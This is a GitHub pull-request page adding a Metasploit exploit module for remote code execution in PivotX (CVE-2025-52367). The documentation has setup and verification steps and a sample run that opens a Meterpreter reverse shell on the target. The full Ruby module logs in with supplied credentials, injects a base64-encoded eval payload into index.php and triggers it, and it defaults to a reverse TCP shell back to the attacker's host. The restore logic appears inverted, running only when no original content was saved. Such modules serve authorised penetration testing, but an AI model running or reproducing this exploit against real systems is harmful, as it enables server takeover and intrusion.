Skip to content

Adds module for PivotX RCE (CVE-2025-52367) #20400

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 9 commits into from
Aug 12, 2025
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,56 @@
## Vulnerable Application

PivotX is free software to help you maintain dynamic sites such as weblogs, online journals and other frequently updated websites in general.
It's written in PHP and uses MySQL or flat files as a database.

Install steps:

1. Install Apache2, MySQL, PHP8.2+
1. `git clone https://github.com/pivotx/PivotX.git`
1. Move `PivotX` to webfolder
1. Run the following from the web folder `sudo chown -R www-data:www-data ./`

## Verification Steps

1. Install the application
1. Start msfconsole
1. Do: `use exploit/linux/http/pivotx_rce`
1. Do: `set USERNAME [PivotX username]`
1. Do: `set PASSWORD [PivotX password]`
1. Do: `set RHOSTS [target IP]`
1. Do: `set LHOST [attacker IP]`
1. Do: `run`

## Options
### USERNAME

PivotX username.

### PASSWORD

PivotX password.

## Scenarios

```
msf exploit(linux/http/pivotx_index_php_overwrite) > run verbose=true
[*] Started reverse TCP handler on 192.168.168.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Detected PivotX 3.0.0.pre.rc3
[*] Logging in PivotX
[*] Modifying file and injecting payload
[*] Triggering payload
[*] Sending stage (40004 bytes) to 192.168.168.146
[*] Meterpreter session 1 opened (192.168.168.128:4444 -> 192.168.168.146:36104) at 2025-08-01 09:38:52 +0200

[*] Restoring original content

meterpreter >
meterpreter > sysinfo
Computer : ubuntu
OS : Linux ubuntu 6.8.0-52-generic #53~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Jan 15 19:18:46 UTC 2 x86_64
Meterpreter : php/linux
meterpreter > getuid
Server username: www-data

```
162 changes: 162 additions & 0 deletions modules/exploits/linux/http/pivotx_index_php_overwrite.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,162 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html

include Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'PivotX Remote Code Execution',
'Description' => %q{
This module gains remote code execution in PivotX management system. The PivotX allows admin user to directly edit files on the webserver, including PHP files. The module exploits this by writing a malicious payload into `index.php` file, gaining remote code execution.
},
'License' => MSF_LICENSE,
'Author' => [
'HayToN', # security research
'msutovsky-r7' # module dev
],
'References' => [
[ 'EDB', '52361' ],
[ 'URL', 'https://medium.com/@hayton1088/cve-2025-52367-stored-xss-to-rce-via-privilege-escalation-in-pivotx-cms-v3-0-0-rc-3-a1b870bcb7b3'],
[ 'CVE', '2025-52367']
],
'Targets' => [
[
'Linux',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
}
]
],
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
'DisclosureDate' => '2025-07-10',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('USERNAME', [ true, 'PivotX username', '' ]),
OptString.new('PASSWORD', [true, 'PivotX password', '']),
OptString.new('TARGETURI', [true, 'The base path to PivotX', '/PivotX/'])
])
end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php')
})

return Msf::Exploit::CheckCode::Unknown('Unexpected response') unless res&.code == 200

return Msf::Exploit::CheckCode::Safe('Target is not PivotX') unless res.body.include?('PivotX Powered')

html_body = res.get_html_document

return Msf::Exploit::CheckCode::Detected('Could not find version element') unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ }

version = Rex::Version.new(Regexp.last_match(1))

return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3')

return Msf::Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable")
end

def login
data_post = Rex::MIME::Message.new
data_post.add_part('', nil, nil, %(form-data; name="returnto"))
data_post.add_part('', nil, nil, %(form-data; name="template"))
data_post.add_part(datastore['USERNAME'], nil, nil, %(form-data; name="username"))
data_post.add_part(datastore['PASSWORD'], nil, nil, %(form-data; name="password"))

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'),
'vars_get' => { 'page' => 'login' },
'ctype' => "multipart/form-data; boundary=#{data_post.bound}",
'data' => data_post.to_s,
'keep_cookies' => true
})

fail_with(Failure::NoAccess, 'Login failed, incorrect username/password') if res&.get_html_document&.at("//script[contains(., 'Incorrect username/password')]")
fail_with(Failure::Unknown, 'Login failed, unable to pivotxsession cookie') unless (res&.code == 200 || res&.code == 302) && res.get_cookies =~ /pivotxsession=([a-zA-Z0-9]+);/

@csrf_token = Regexp.last_match(1)
end

def modify_file
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'),
'vars_get' => { 'page' => 'homeexplore' }
})

fail_with(Failure::UnexpectedReply, 'Received unexpected response when fetching working directory') unless res&.code == 200 && res.body =~ /basedir=([a-zA-Z0-9]+)/

@base_dir = Regexp.last_match(1)

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
'vars_get' => { 'function' => 'view', 'basedir' => @base_dir, 'file' => 'index.php' }
})

fail_with(Failure::UnexpectedReply, 'Received unexpected response when fetching index.php') unless res&.code == 200

@original_value = res.get_html_document.at('textarea')&.text

fail_with(Failure::Unknown, 'Could not find content of index.php') unless @original_value

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => "<?php eval(base64_decode('#{Base64.strict_encode64(payload.encoded)}')); ?> #{@original_value}" }
})

fail_with(Failure::PayloadFailed, 'Failed to insert malicious PHP payload') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
end

def trigger_payload
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php')
})
end

def restore
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => @original_value }
})
vprint_status('Restoring original content')
vprint_error('Failed to restore original content') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
end

def cleanup
super
# original content can be any string, it cannot be nil
restore if @original_value.nil?
end

def exploit
vprint_status('Logging in PivotX')
login
vprint_status('Modifying file and injecting payload')
modify_file
vprint_status('Triggering payload')
trigger_payload
end
end